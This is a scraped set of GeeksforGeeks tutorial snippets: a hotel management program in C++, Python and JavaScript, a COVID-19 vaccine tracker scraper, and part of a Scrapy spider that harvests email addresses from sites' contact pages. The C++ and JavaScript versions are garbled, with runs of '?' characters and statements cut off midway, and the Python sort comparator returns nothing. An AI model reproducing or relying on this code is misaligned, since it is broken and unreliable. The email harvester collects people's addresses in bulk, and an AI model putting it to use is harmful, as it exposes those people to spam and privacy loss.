hotels.end(),????????????????????????????????????????????????????????????????????????????????????sortByRoomAvailable);????????????????????????" "??????????????????????????<< hotels[i].roomAvl << " "??????????????????????????<< hotels[i].location << " "??????????????????????????<< hotels[i].rating << " "??????????????????????????<< " " << hotels[i].pricePr??????????????????????????????????????????????????????????????????????????????<< endl;????????????????????????}????????????????????????cout << endl;}??????// Print the user's datavoid PrintUserData(string userName[],??????????????????????????????????????????????????????????????????????????????????????????????????????????????????int userId[],??????????????????????????????????????????????????????????????????????????????????????????????????????????????????int bookingCost[],??????????????????????????????????????????????????????????????????????????????????????????????????????????????????vector<Hotel> ho"PRINT USER BOOKING DATA:"??????????????????<< endl;????????cout << "UserName"??????????????????<< " "??????????????????<< "UserID"??????????????????<< " "??????????????????<< "HotelName"??????????????????<< " "??????????????????<< "BookingCost" << endl;??????????????????????????????for (int i = 0; i < user.size(); i++) {??????????????????????????????????????????????"???????????????? "??????????????????????????<< user[i].uId??????????????????????????<< "?????????????? "??????????????????????????<< hotels[i].name??????????????????????????<< "???????????????? "??????????????????????????<< user[i].cost??????????????????????????<< endl;????????}}??// Functiont to solve// Hotel Management problemvoid HotelManagement(string userName[],??????????????????????????????????????????int userId[],??????????????????????????????????????????string hotelName[],??????????????????????????????????????????int bookingCost[],??????????????????????????????????????????int rooms[],??????????????????????????????????????????string locations[],??????????????????????????????????????????int ratings[],??????????????????????????????????????????int prices[]){????????// Initialize arrays that stores????????// hotel data and user data????????vector<Hotel> hotels;??????????// Create Objects for????????// hotel and user.????????Hotel h;??????????// Initialise the data????????for (int i = 0; i < 3; i++) {????????????????h.name = hotelName[i];????????????????h.roomAvl = rooms[i];????????????????h.location = locations[i];????????????????h.rating = ratings[i];????????????????h.pricePr = prices[i];????????????????hotels.push_back(h);????????}????????cout << endl;??????????// Call the various operations????????PrintHotelData(hotels);????????SortHotelByName(hotels);????????SortHotelByRating(hotels);????????PrintHotelBycity("Bangalore",??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????hotels);????????????????????????SortByRoomAvailable(hotels);????????????????????????PrintUserData(userName,????????????????????????????????????????????????????????????????????????????????????????????????????????????userId,???????????????????????????????????????????"U1", "U2", "U3" };????????????????????????int userId[] = { 2, 3, 4 };???????????????"H1", "H2", "H3" };????????????????????????int bookingCost[] = { 1000, 1200, 1100 };????????????????????????int rooms[] = { 4, 5, 6 }"Bangalore",??????????????????????????????????????????????????????"Bangalore",??????????????????????????????????????????????????????"Mumbai" };????????????????????????int ratings[] = { 5, 5, 3 };????????????????????????int prices[] = { 100, 200, 100 };??????????????????????????????// Function to perform operations????????????????????????HotelManagement(userName, userId,????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????hotelName
#Output : Hotel Name Room Available Location Rating Price per Room
Hotelements Management System // C++ program to solve// the given question??????#include <algorithm>#include <iostream>#include <string>#include <vector>??????using namespace std;??????// Create class for hotel data.class Hotel {public:????????????????????????string name;????????????????????????int roomAvl;????????????????????????string location;????????????????????????int rating;????????????????????????int pricePr;};??????// Create class for user data.class User : public Hotel {public:????????????????????????string uname;????????????????????????int uId;????????????????????????int cost;};??????// Function to Sort Hotels by// Bangalore locationbool sortByBan(Hotel& A, Hotel& B){????????????????????????return A.name > B.name;}??????// Function to sort hotels// by rating.bool sortByr(Hotel& A, Hotel& B){????????????????????????return A.rating > B.rating;}??????// Function to sort hotels// by rooms availability.bool sortByRoomAvailabl"PRINT HOTELS DATA:" << endl;????????????????"HotelName"??????????????????<< "???? "??????????????????<< "Room Available"??????????????????<< "?????? "??????????????????<< "Location"??????????????????<< "?????? "??????????????????<< "Rating"??????????????????<< "?????? "??????????????????<< "PricePer Room:" << endl;??????????????????????????????for (int i = 0; i < 3; i++) {???????????????????????????????????????????????"?????????????????? "??????????????????????????<< hotels[i].roomAvl??????????????????????????<< "?????????????????????????? "??????????????????????????<< hotels[i].location??????????????????????????<< "???????????? "??????????????????????????<< hotels[i].rating??????????????????????????<< "?????????????????????? "??????????????????????????<< hotels[i].pricePr??????????????????????????<< endl;????????}????????cout << endl;}??// Sort Hotels data by name.void SortHotelByName(vector<Hotel> hotels){????????cout << "SORT BY NAME:" << endl;??????????????????????????????std::sort(hotels.begin(), hotels.end(),????????????????????????????????????????????????????????????????????????????????????sortByBan);?????????????????" "??????????????????????????<< hotels[i].roomAvl << " "??????????????????????????<< hotels[i].location << " "??????????????????????????<< hotels[i].rating << " "??????????????????????????<< " " << hotels[i].pricePr??????????????????????????????????????????????????????????????????????????????<< endl;????????????????????????}????????????????????????cout << endl;}???"SORT BY A RATING:" << endl;??????????????????????????????std::sort(hotels.begin(),????????????????????????????????????????????????????????????????????????????????????hotels.end(), sortByr);?????????????????" "??????????????????????????<< hotels[i].roomAvl << " "??????????????????????????<< hotels[i].location << " "??????????????????????????<< hotels[i].rating << " "??????????????????????????<< " " << hotels[i].pricePr??????????????????????????????????????????????????????????????????????????????<< endl;????????????????????????}????????????????????????cout << endl;}??????// Print Hotels for any city Location.void PrintHotelBycity(str"HOTELS FOR " << s?????????????????????" LOCATION IS:"??????????????????<< endl;????????for (int i = 0; i < hotels.size(); i++) {??????????????????if (hotels[i].location == s) {??????????????????????????cout << hotels[i].name << " "??????????????????????????????????<< hotels[i].roomAvl << " "??????????????????????????????????<< hotels[i].location << " "??????????????????????????????????<< hotels[i].rating << " "??????????????????????????????????<< " " << hotels[i].pricePr??????????????????????????????????????????????????????????????????????????????????????????????????????<< endl;????????????????????????????????????????????????}????????????????????????}????"SORT BY ROOM AVAILABLE:" << endl;??????????????????????????????std::sort(hotels.begin(), hotels.end(),????????????????????????????????????????????????????????????????????????????????????sortByRoomAvailable);????????????????????????" "??????????????????????????<< hotels[i].roomAvl << " "??????????????????????????<< hotels[i].location << " "??????????????????????????<< hotels[i].rating << " "??????????????????????????<< " " << hotels[i].pricePr??????????????????????????????????????????????????????????????????????????????<< endl;????????????????????????}????????????????????????cout << endl;}??????// Print the user's datavoid PrintUserData(string userName[],??????????????????????????????????????????????????????????????????????????????????????????????????????????????????int userId[],??????????????????????????????????????????????????????????????????????????????????????????????????????????????????int bookingCost[],??????????????????????????????????????????????????????????????????????????????????????????????????????????????????vector<Hotel> ho"PRINT USER BOOKING DATA:"??????????????????<< endl;????????cout << "UserName"??????????????????<< " "??????????????????<< "UserID"??????????????????<< " "??????????????????<< "HotelName"??????????????????<< " "??????????????????<< "BookingCost" << endl;??????????????????????????????for (int i = 0; i < user.size(); i++) {??????????????????????????????????????????????"???????????????? "??????????????????????????<< user[i].uId??????????????????????????<< "?????????????? "??????????????????????????<< hotels[i].name??????????????????????????<< "???????????????? "??????????????????????????<< user[i].cost??????????????????????????<< endl;????????}}??// Functiont to solve// Hotel Management problemvoid HotelManagement(string userName[],??????????????????????????????????????????int userId[],??????????????????????????????????????????string hotelName[],??????????????????????????????????????????int bookingCost[],??????????????????????????????????????????int rooms[],??????????????????????????????????????????string locations[],??????????????????????????????????????????int ratings[],??????????????????????????????????????????int prices[]){????????// Initialize arrays that stores????????// hotel data and user data????????vector<Hotel> hotels;??????????// Create Objects for????????// hotel and user.????????Hotel h;??????????// Initialise the data????????for (int i = 0; i < 3; i++) {????????????????h.name = hotelName[i];????????????????h.roomAvl = rooms[i];????????????????h.location = locations[i];????????????????h.rating = ratings[i];????????????????h.pricePr = prices[i];????????????????hotels.push_back(h);????????}????????cout << endl;??????????// Call the various operations????????PrintHotelData(hotels);????????SortHotelByName(hotels);????????SortHotelByRating(hotels);????????PrintHotelBycity("Bangalore",??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????hotels);????????????????????????SortByRoomAvailable(hotels);????????????????????????PrintUserData(userName,????????????????????????????????????????????????????????????????????????????????????????????????????????????userId,???????????????????????????????????????????"U1", "U2", "U3" };????????????????????????int userId[] = { 2, 3, 4 };???????????????"H1", "H2", "H3" };????????????????????????int bookingCost[] = { 1000, 1200, 1100 };????????????????????????int rooms[] = { 4, 5, 6 }"Bangalore",??????????????????????????????????????????????????????"Bangalore",??????????????????????????????????????????????????????"Mumbai" };????????????????????????int ratings[] = { 5, 5, 3 };????????????????????????int prices[] = { 100, 200, 100 };??????????????????????????????// Function to perform operations????????????????????????HotelManagement(userName, userId,????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????hotelName #Output : Hotel Name Room Available Location Rating Price per Room [END]
Hotelements Management System
https://www.geeksforgeeks.org/hotel-management-system/
# Python program to solve # the given question # Create class for hotel data. class Hotel: sortParam = "name" def __init__(self) -> None: self.name = "" self.roomAvl = 0 self.location = "" self.rating = int self.pricePr = 0 def __lt__(self, other): getattr(self, Hotel.sortParam) < getattr(other, Hotel.sortParam) # Function to change sort parameter to # name @classmethod def sortByName(cls): cls.sortParam = "name" # Function to change sort parameter to # rating. @classmethod def sortByRate(cls): cls.sortParam = "rating" # Function to change sort parameter to # room availability. @classmethod def sortByRoomAvailable(cls): cls.sortParam = "roomAvl" def __repr__(self) -> str: return "PRHOTELS DATA:\nHotelName:{}\tRoom Available:{}\tLocation:{}\tRating:{}\tPricePer Room:{}".format( self.name, self.roomAvl, self.location, self.rating, self.pricePr ) # Create class for user data. class User: def __init__(self) -> None: self.uname = "" self.uId = 0 self.cost = 0 def __repr__(self) -> str: return "UserName:{}\tUserId:{}\tBooking Cost:{}".format( self.uname, self.uId, self.cost ) # Print hotels data. def PrintHotelData(hotels): for h in hotels: print(h) # Sort Hotels data by name. def SortHotelByName(hotels): print("SORT BY NAME:") Hotel.sortByName() hotels.sort() PrintHotelData(hotels) print() # Sort Hotels by rating def SortHotelByRating(hotels): print("SORT BY A RATING:") Hotel.sortByRate() hotels.sort() PrintHotelData(hotels) print() # Print Hotels for any city Location. def PrintHotelBycity(s, hotels): print("HOTELS FOR {} LOCATION ARE:".format(s)) hotelsByLoc = [h for h in hotels if h.location == s] PrintHotelData(hotelsByLoc) print() # Sort hotels by room Available. def SortByRoomAvailable(hotels): print("SORT BY ROOM AVAILABLE:") Hotel.sortByRoomAvailable() hotels.sort() PrintHotelData(hotels) print() # Print the user's data def PrintUserData(userName, userId, bookingCost, hotels): users = [] # Access user data. for i in range(3): u = User() u.uname = userName[i] u.uId = userId[i] u.cost = bookingCost[i] users.append(u) for i in range(len(users)): print(users[i], "\tHotel name:", hotels[i].name) # Functiont to solve # Hotel Management problem def HotelManagement( userName, userId, hotelName, bookingCost, rooms, locations, ratings, prices ): # Initialize arrays that stores # hotel data and user data hotels = [] # Create Objects for # hotel and user. # Initialise the data for i in range(3): h = Hotel() h.name = hotelName[i] h.roomAvl = rooms[i] h.location = locations[i] h.rating = ratings[i] h.pricePr = prices[i] hotels.append(h) print() # Call the various operations PrintHotelData(hotels) SortHotelByName(hotels) SortHotelByRating(hotels) PrintHotelBycity("Bangalore", hotels) SortByRoomAvailable(hotels) PrintUserData(userName, userId, bookingCost, hotels) # Driver Code. if __name__ == "__main__": # Initialize variables to stores # hotels data and user data. userName = ["U1", "U2", "U3"] userId = [2, 3, 4] hotelName = ["H1", "H2", "H3"] bookingCost = [1000, 1200, 1100] rooms = [4, 5, 6] locations = ["Bangalore", "Bangalore", "Mumbai"] ratings = [5, 5, 3] prices = [100, 200, 100] # Function to perform operations HotelManagement( userName, userId, hotelName, bookingCost, rooms, locations, ratings, prices )
#Output : Hotel Name Room Available Location Rating Price per Room
Hotelements Management System # Python program to solve # the given question # Create class for hotel data. class Hotel: sortParam = "name" def __init__(self) -> None: self.name = "" self.roomAvl = 0 self.location = "" self.rating = int self.pricePr = 0 def __lt__(self, other): getattr(self, Hotel.sortParam) < getattr(other, Hotel.sortParam) # Function to change sort parameter to # name @classmethod def sortByName(cls): cls.sortParam = "name" # Function to change sort parameter to # rating. @classmethod def sortByRate(cls): cls.sortParam = "rating" # Function to change sort parameter to # room availability. @classmethod def sortByRoomAvailable(cls): cls.sortParam = "roomAvl" def __repr__(self) -> str: return "PRHOTELS DATA:\nHotelName:{}\tRoom Available:{}\tLocation:{}\tRating:{}\tPricePer Room:{}".format( self.name, self.roomAvl, self.location, self.rating, self.pricePr ) # Create class for user data. class User: def __init__(self) -> None: self.uname = "" self.uId = 0 self.cost = 0 def __repr__(self) -> str: return "UserName:{}\tUserId:{}\tBooking Cost:{}".format( self.uname, self.uId, self.cost ) # Print hotels data. def PrintHotelData(hotels): for h in hotels: print(h) # Sort Hotels data by name. def SortHotelByName(hotels): print("SORT BY NAME:") Hotel.sortByName() hotels.sort() PrintHotelData(hotels) print() # Sort Hotels by rating def SortHotelByRating(hotels): print("SORT BY A RATING:") Hotel.sortByRate() hotels.sort() PrintHotelData(hotels) print() # Print Hotels for any city Location. def PrintHotelBycity(s, hotels): print("HOTELS FOR {} LOCATION ARE:".format(s)) hotelsByLoc = [h for h in hotels if h.location == s] PrintHotelData(hotelsByLoc) print() # Sort hotels by room Available. def SortByRoomAvailable(hotels): print("SORT BY ROOM AVAILABLE:") Hotel.sortByRoomAvailable() hotels.sort() PrintHotelData(hotels) print() # Print the user's data def PrintUserData(userName, userId, bookingCost, hotels): users = [] # Access user data. for i in range(3): u = User() u.uname = userName[i] u.uId = userId[i] u.cost = bookingCost[i] users.append(u) for i in range(len(users)): print(users[i], "\tHotel name:", hotels[i].name) # Functiont to solve # Hotel Management problem def HotelManagement( userName, userId, hotelName, bookingCost, rooms, locations, ratings, prices ): # Initialize arrays that stores # hotel data and user data hotels = [] # Create Objects for # hotel and user. # Initialise the data for i in range(3): h = Hotel() h.name = hotelName[i] h.roomAvl = rooms[i] h.location = locations[i] h.rating = ratings[i] h.pricePr = prices[i] hotels.append(h) print() # Call the various operations PrintHotelData(hotels) SortHotelByName(hotels) SortHotelByRating(hotels) PrintHotelBycity("Bangalore", hotels) SortByRoomAvailable(hotels) PrintUserData(userName, userId, bookingCost, hotels) # Driver Code. if __name__ == "__main__": # Initialize variables to stores # hotels data and user data. userName = ["U1", "U2", "U3"] userId = [2, 3, 4] hotelName = ["H1", "H2", "H3"] bookingCost = [1000, 1200, 1100] rooms = [4, 5, 6] locations = ["Bangalore", "Bangalore", "Mumbai"] ratings = [5, 5, 3] prices = [100, 200, 100] # Function to perform operations HotelManagement( userName, userId, hotelName, bookingCost, rooms, locations, ratings, prices ) #Output : Hotel Name Room Available Location Rating Price per Room [END]
Hotelements Management System
https://www.geeksforgeeks.org/hotel-management-system/
// javascript program to solve// the given question??????// Create class for hotel data.class Hotel {??????????????????????????????????????????????????????co"";????????????????????????????????????????????????this.roomAvl = 0;"";????????????????????????????????????????????????this.rating = 0;????????????????????????????????????????????????this.pricePr = 0;????????????????????????}}??????// Create "";????????????????????????????????????????????????this.uId = 0;????????????????????????????????????????????????this.cost = 0;????????????????????????}}??????// Function to Sort Hotels by// Bangalore locationfunction sortByBan(A, B){????????????????????????return B.name.localeCompare(A.name);}??????// Function to sort hotels// by rating.function sortByr(A, B){????????????????????????return A.rating > B.rating;}??????// Function to sort hotels// by rooms availability.function sortByRoomAvail"PRINT HOTELS DATA:");????????????????????"HotelName"??????????????????+ "???? "??????????????????+ "Room Available"??????????????????+ "?????? "??????????????????+ "Location"??????????????????+ "?????? "??????????????????+ "Rating"??????????????????+ "?????? "??????????????????+ "PricePer Room:");??????????????????????????????for (let i = 0; i < 3; i++) {????????????????????????????????????????????????co"?????????????????? "??????????????????????????+ hotels[i].roomAvl??????????????????????????+ "?????????????????????????? "??????????????????????????+ hotels[i].location??????????????????????????+ "???????????? "??????????????????????????+ hotels[i].rating??????????????????????????+ "?????????????????????? "??????????????????????????+ hotels[i].pricePr);????????}????????console.log();}??// Sort Hotels data by name.function SortHotelByName(hotels){????????console.log("SORT BY NAME:");??????????????????????????????hotels.sort(sortByBan);???"h9");????????????????????????// console.log(hotels);????????????????????????for (let i = 0; i < hotels.length; i++) {?????????????" " + hotels[i].roomAvl + " "??????????????????????????+ hotels[i].location + " "??????????????????????????+ hotels[i].rating + " "??????????????????????????+ " " + hotels[i].pricePr);????????????????????????}????????????????????????console.log();}??????// Sort Hotels by ratingfunction SortHotelB"SORT BY A RATING:");??????????????????????????????hotels.sort(sortByr);??????????????????????????????for (let i = 0; i < hotels.length; i++) {?????" "??????????????????????????+ hotels[i].roomAvl + " "??????????????????????????+ hotels[i].location + " "??????????????????????????+ hotels[i].rating + " "??????????????????????????+ " " + hotels[i].pricePr);????????????????????????}????????????????????????console.log();}??????// Print Hotels for any city Location.function PrintHotelBy"HOTELS FOR " + s + " LOCATION IS:");??????????????????????????????for (let i = 0; i < hotels.length; i++) {??????????????????????????????????????????????????????if (hotels[i].location == s) " "??????????????????????????????????+ hotels[i].roomAvl + " "??????????????????????????????????+ hotels[i].location + " "??????????????????????????????????+ hotels[i].rating + " "??????????????????????????????????+ " " + hotels[i].pricePr);????????????????????????????????????????????????}????????????????????????}????????????????????????console.log();}??????// Sort hotels by room"SORT BY ROOM AVAILABLE:");??????????????????????????????hotels.sort(sortByRoomAvailable);????????????????????????for (let i = hotels.length - 1; i >= 0; i--) {???????????" " + hotels[i].roomAvl + " " + hotels[i].location + " " + hotels[i].rating + " " +hotels[i].pricePr);????????????????????????}????????????????????????console.log();}??????// Print the user's datafunction PrintUserData(userName,??????????????????????????????????????????????????????????????????????????????????????????????????????????????????userId,??????????????????????????????????????????????????????????????????????????????????????????????????????????????????bookingCost, hotels){??????????????????????????????let user = [];????????????????????????????????????????????????????????????// Access user data.???????????????????????"PRINT USER BOOKING DATA:")????????????????????"UserName UserID HotelName BookingCost")??????????????????????????????for (let i = 0; i < user.length; i++) {????????????????????????"???????????????? " + user[i].uId + "?????????????? " + hotels[i].name + "???????????????? " + user[i].cost);????????????????????????}}??????// Functiont to solve// Hotel Management problemfunction HotelManagement(userName,userId, hotelName,bookingCost, rooms, locations, ratings, prices){????????????????????????// Initialize arrays that stores????????????????????????// hotel data and user data????????????????????????let hotels = [];??????????????????????????????// Create Objects for????????????????????????// hotel and user.????????????????????????????????????????????????????????????// Initialise the data????????????????????????for (let i = 0; i < 3; i++) {????????????????????????????????????????????????let h = new Hotel();????????????????????????????????????????????????h.name = hotelName[i];????????????????????????????????????????????????h.roomAvl = rooms[i];????????????????????????????????????????????????h.location = locations[i];????????????????????"Bangalore", hotels);????????????????????????SortByRoomAvailable(hotels);????????????????????????PrintUserData(userName, userId, bookingCost, hotels);}??????// Driver Code.// Initialize variables to stores// hotels"U1", "U2", "U3"];let userId = [2, 3, 4];let hotelName = ["H1", "H2", "H3" ];let bookingCost = [1000, 1200, 1100 ];let rooms = [4, 5, 6 ];let locations = ["Bangalore", "Bangalore", "Mumbai" ];let ratings = [5, 5, 3 ];let prices = [100, 200, 100 ];??????// Function to perform operationsHotelManagement(userName, userId, hotelName, bookingCost,rooms, locations, ratings, prices);??????// the code is contributed by Nid
#Output : Hotel Name Room Available Location Rating Price per Room
Hotelements Management System // javascript program to solve// the given question??????// Create class for hotel data.class Hotel {??????????????????????????????????????????????????????co"";????????????????????????????????????????????????this.roomAvl = 0;"";????????????????????????????????????????????????this.rating = 0;????????????????????????????????????????????????this.pricePr = 0;????????????????????????}}??????// Create "";????????????????????????????????????????????????this.uId = 0;????????????????????????????????????????????????this.cost = 0;????????????????????????}}??????// Function to Sort Hotels by// Bangalore locationfunction sortByBan(A, B){????????????????????????return B.name.localeCompare(A.name);}??????// Function to sort hotels// by rating.function sortByr(A, B){????????????????????????return A.rating > B.rating;}??????// Function to sort hotels// by rooms availability.function sortByRoomAvail"PRINT HOTELS DATA:");????????????????????"HotelName"??????????????????+ "???? "??????????????????+ "Room Available"??????????????????+ "?????? "??????????????????+ "Location"??????????????????+ "?????? "??????????????????+ "Rating"??????????????????+ "?????? "??????????????????+ "PricePer Room:");??????????????????????????????for (let i = 0; i < 3; i++) {????????????????????????????????????????????????co"?????????????????? "??????????????????????????+ hotels[i].roomAvl??????????????????????????+ "?????????????????????????? "??????????????????????????+ hotels[i].location??????????????????????????+ "???????????? "??????????????????????????+ hotels[i].rating??????????????????????????+ "?????????????????????? "??????????????????????????+ hotels[i].pricePr);????????}????????console.log();}??// Sort Hotels data by name.function SortHotelByName(hotels){????????console.log("SORT BY NAME:");??????????????????????????????hotels.sort(sortByBan);???"h9");????????????????????????// console.log(hotels);????????????????????????for (let i = 0; i < hotels.length; i++) {?????????????" " + hotels[i].roomAvl + " "??????????????????????????+ hotels[i].location + " "??????????????????????????+ hotels[i].rating + " "??????????????????????????+ " " + hotels[i].pricePr);????????????????????????}????????????????????????console.log();}??????// Sort Hotels by ratingfunction SortHotelB"SORT BY A RATING:");??????????????????????????????hotels.sort(sortByr);??????????????????????????????for (let i = 0; i < hotels.length; i++) {?????" "??????????????????????????+ hotels[i].roomAvl + " "??????????????????????????+ hotels[i].location + " "??????????????????????????+ hotels[i].rating + " "??????????????????????????+ " " + hotels[i].pricePr);????????????????????????}????????????????????????console.log();}??????// Print Hotels for any city Location.function PrintHotelBy"HOTELS FOR " + s + " LOCATION IS:");??????????????????????????????for (let i = 0; i < hotels.length; i++) {??????????????????????????????????????????????????????if (hotels[i].location == s) " "??????????????????????????????????+ hotels[i].roomAvl + " "??????????????????????????????????+ hotels[i].location + " "??????????????????????????????????+ hotels[i].rating + " "??????????????????????????????????+ " " + hotels[i].pricePr);????????????????????????????????????????????????}????????????????????????}????????????????????????console.log();}??????// Sort hotels by room"SORT BY ROOM AVAILABLE:");??????????????????????????????hotels.sort(sortByRoomAvailable);????????????????????????for (let i = hotels.length - 1; i >= 0; i--) {???????????" " + hotels[i].roomAvl + " " + hotels[i].location + " " + hotels[i].rating + " " +hotels[i].pricePr);????????????????????????}????????????????????????console.log();}??????// Print the user's datafunction PrintUserData(userName,??????????????????????????????????????????????????????????????????????????????????????????????????????????????????userId,??????????????????????????????????????????????????????????????????????????????????????????????????????????????????bookingCost, hotels){??????????????????????????????let user = [];????????????????????????????????????????????????????????????// Access user data.???????????????????????"PRINT USER BOOKING DATA:")????????????????????"UserName UserID HotelName BookingCost")??????????????????????????????for (let i = 0; i < user.length; i++) {????????????????????????"???????????????? " + user[i].uId + "?????????????? " + hotels[i].name + "???????????????? " + user[i].cost);????????????????????????}}??????// Functiont to solve// Hotel Management problemfunction HotelManagement(userName,userId, hotelName,bookingCost, rooms, locations, ratings, prices){????????????????????????// Initialize arrays that stores????????????????????????// hotel data and user data????????????????????????let hotels = [];??????????????????????????????// Create Objects for????????????????????????// hotel and user.????????????????????????????????????????????????????????????// Initialise the data????????????????????????for (let i = 0; i < 3; i++) {????????????????????????????????????????????????let h = new Hotel();????????????????????????????????????????????????h.name = hotelName[i];????????????????????????????????????????????????h.roomAvl = rooms[i];????????????????????????????????????????????????h.location = locations[i];????????????????????"Bangalore", hotels);????????????????????????SortByRoomAvailable(hotels);????????????????????????PrintUserData(userName, userId, bookingCost, hotels);}??????// Driver Code.// Initialize variables to stores// hotels"U1", "U2", "U3"];let userId = [2, 3, 4];let hotelName = ["H1", "H2", "H3" ];let bookingCost = [1000, 1200, 1100 ];let rooms = [4, 5, 6 ];let locations = ["Bangalore", "Bangalore", "Mumbai" ];let ratings = [5, 5, 3 ];let prices = [100, 200, 100 ];??????// Function to perform operationsHotelManagement(userName, userId, hotelName, bookingCost,rooms, locations, ratings, prices);??????// the code is contributed by Nid #Output : Hotel Name Room Available Location Rating Price per Room [END]
Build a COVID19 Vaccine Tracker Using Python
https://www.geeksforgeeks.org/build-a-covid19-vaccine-tracker-using-python/
import requests from bs4 import BeautifulSoup
#Output : pip install bs4
Build a COVID19 Vaccine Tracker Using Python import requests from bs4 import BeautifulSoup #Output : pip install bs4 [END]
Build a COVID19 Vaccine Tracker Using Python
https://www.geeksforgeeks.org/build-a-covid19-vaccine-tracker-using-python/
def getdata(url): r = requests.get(url) return r.text
#Output : pip install bs4
Build a COVID19 Vaccine Tracker Using Python def getdata(url): r = requests.get(url) return r.text #Output : pip install bs4 [END]
Build a COVID19 Vaccine Tracker Using Python
https://www.geeksforgeeks.org/build-a-covid19-vaccine-tracker-using-python/
htmldata = getdata("https://covid-19tracker.milkeninstitute.org/") soup = BeautifulSoup(htmldata, "html.parser") res = soup.find_all("div", class_="is_h5-2 is_developer w-richtext") print(str(res))
#Output : pip install bs4
Build a COVID19 Vaccine Tracker Using Python htmldata = getdata("https://covid-19tracker.milkeninstitute.org/") soup = BeautifulSoup(htmldata, "html.parser") res = soup.find_all("div", class_="is_h5-2 is_developer w-richtext") print(str(res)) #Output : pip install bs4 [END]
Build a COVID19 Vaccine Tracker Using Python
https://www.geeksforgeeks.org/build-a-covid19-vaccine-tracker-using-python/
import requests from bs4 import BeautifulSoup def getdata(url): r = requests.get(url) return r.text htmldata = getdata("https://covid-19tracker.milkeninstitute.org/") soup = BeautifulSoup(htmldata, "html.parser") result = str(soup.find_all("div", class_="is_h5-2 is_developer w-richtext")) print("NO 1 " + result[46:86]) print("NO 2 " + result[139:226]) print("NO 3 " + result[279:305]) print("NO 4 " + result[358:375]) print("NO 5 " + result[428:509])
#Output : pip install bs4
Build a COVID19 Vaccine Tracker Using Python import requests from bs4 import BeautifulSoup def getdata(url): r = requests.get(url) return r.text htmldata = getdata("https://covid-19tracker.milkeninstitute.org/") soup = BeautifulSoup(htmldata, "html.parser") result = str(soup.find_all("div", class_="is_h5-2 is_developer w-richtext")) print("NO 1 " + result[46:86]) print("NO 2 " + result[139:226]) print("NO 3 " + result[279:305]) print("NO 4 " + result[358:375]) print("NO 5 " + result[428:509]) #Output : pip install bs4 [END]
Email Id Extractor Project from sites in Scrapy Python
https://www.geeksforgeeks.org/email-id-extractor-project-from-sites-in-scrapy-python/
# web scraping framework import scrapy # for regular expression import re # for selenium request from scrapy_selenium import SeleniumRequest # for link extraction from scrapy.linkextractors.lxmlhtml import LxmlLinkExtractor
#Output : pip install scrapy
Email Id Extractor Project from sites in Scrapy Python # web scraping framework import scrapy # for regular expression import re # for selenium request from scrapy_selenium import SeleniumRequest # for link extraction from scrapy.linkextractors.lxmlhtml import LxmlLinkExtractor #Output : pip install scrapy [END]
Email Id Extractor Project from sites in Scrapy Python
https://www.geeksforgeeks.org/email-id-extractor-project-from-sites-in-scrapy-python/
def start_requests(self): yield SeleniumRequest( url="https://www.geeksforgeeks.org/", wait_time=3, screenshot=True, callback=self.parse, dont_filter=True, )
#Output : pip install scrapy
Email Id Extractor Project from sites in Scrapy Python def start_requests(self): yield SeleniumRequest( url="https://www.geeksforgeeks.org/", wait_time=3, screenshot=True, callback=self.parse, dont_filter=True, ) #Output : pip install scrapy [END]
Email Id Extractor Project from sites in Scrapy Python
https://www.geeksforgeeks.org/email-id-extractor-project-from-sites-in-scrapy-python/
def parse(self, response): # this helps to get all links from source code links = LxmlLinkExtractor(allow=()).extract_links(response) # Finallinks contains links url Finallinks = [str(link.url) for link in links] # links list for url that may have email ids links = [] # filtering and storing only needed url in links list # pages that are about us and contact us are the ones that have email ids for link in Finallinks: if ( "Contact" in link or "contact" in link or "About" in link or "about" in link or "CONTACT" in link or "ABOUT" in link ): links.append(link) # current page url also added because few sites have email ids on there main page links.append(str(response.url)) # parse_link function is called for extracting email ids l = links[0] links.pop(0) # meta helps to transfer links list from parse to parse_link yield SeleniumRequest( url=l, wait_time=3, screenshot=True, callback=self.parse_link, dont_filter=True, meta={"links": links}, )
#Output : pip install scrapy
Email Id Extractor Project from sites in Scrapy Python def parse(self, response): # this helps to get all links from source code links = LxmlLinkExtractor(allow=()).extract_links(response) # Finallinks contains links url Finallinks = [str(link.url) for link in links] # links list for url that may have email ids links = [] # filtering and storing only needed url in links list # pages that are about us and contact us are the ones that have email ids for link in Finallinks: if ( "Contact" in link or "contact" in link or "About" in link or "about" in link or "CONTACT" in link or "ABOUT" in link ): links.append(link) # current page url also added because few sites have email ids on there main page links.append(str(response.url)) # parse_link function is called for extracting email ids l = links[0] links.pop(0) # meta helps to transfer links list from parse to parse_link yield SeleniumRequest( url=l, wait_time=3, screenshot=True, callback=self.parse_link, dont_filter=True, meta={"links": links}, ) #Output : pip install scrapy [END]
Email Id Extractor Project from sites in Scrapy Python
https://www.geeksforgeeks.org/email-id-extractor-project-from-sites-in-scrapy-python/
def parse_link(self, response): # response.meta['links'] this helps to get links list links = response.meta["links"] flag = 0 # links that contains following bad words are discarded bad_words = ["facebook", "instagram", "youtube", "twitter", "wiki", "linkedin"] for word in bad_words: # if any bad word is found in the current page url # flag is assigned to 1 if word in str(response.url): flag = 1 break # if flag is 1 then no need to get email from # that url/page if flag != 1: html_text = str(response.text) # regular expression used for email id email_list = re.findall("\w+@\w+\.{1}\w+", html_text) # set of email_list to get unique email_list = set(email_list) if len(email_list) != 0: for i in email_list: # adding email ids to final uniqueemail self.uniqueemail.add(i) # parse_link function is called till # if condition satisfy # else move to parsed function if len(links) > 0: l = links[0] links.pop(0) yield SeleniumRequest( url=l, callback=self.parse_link, dont_filter=True, meta={"links": links} ) else: yield SeleniumRequest(url=response.url, callback=self.parsed, dont_filter=True)
#Output : pip install scrapy
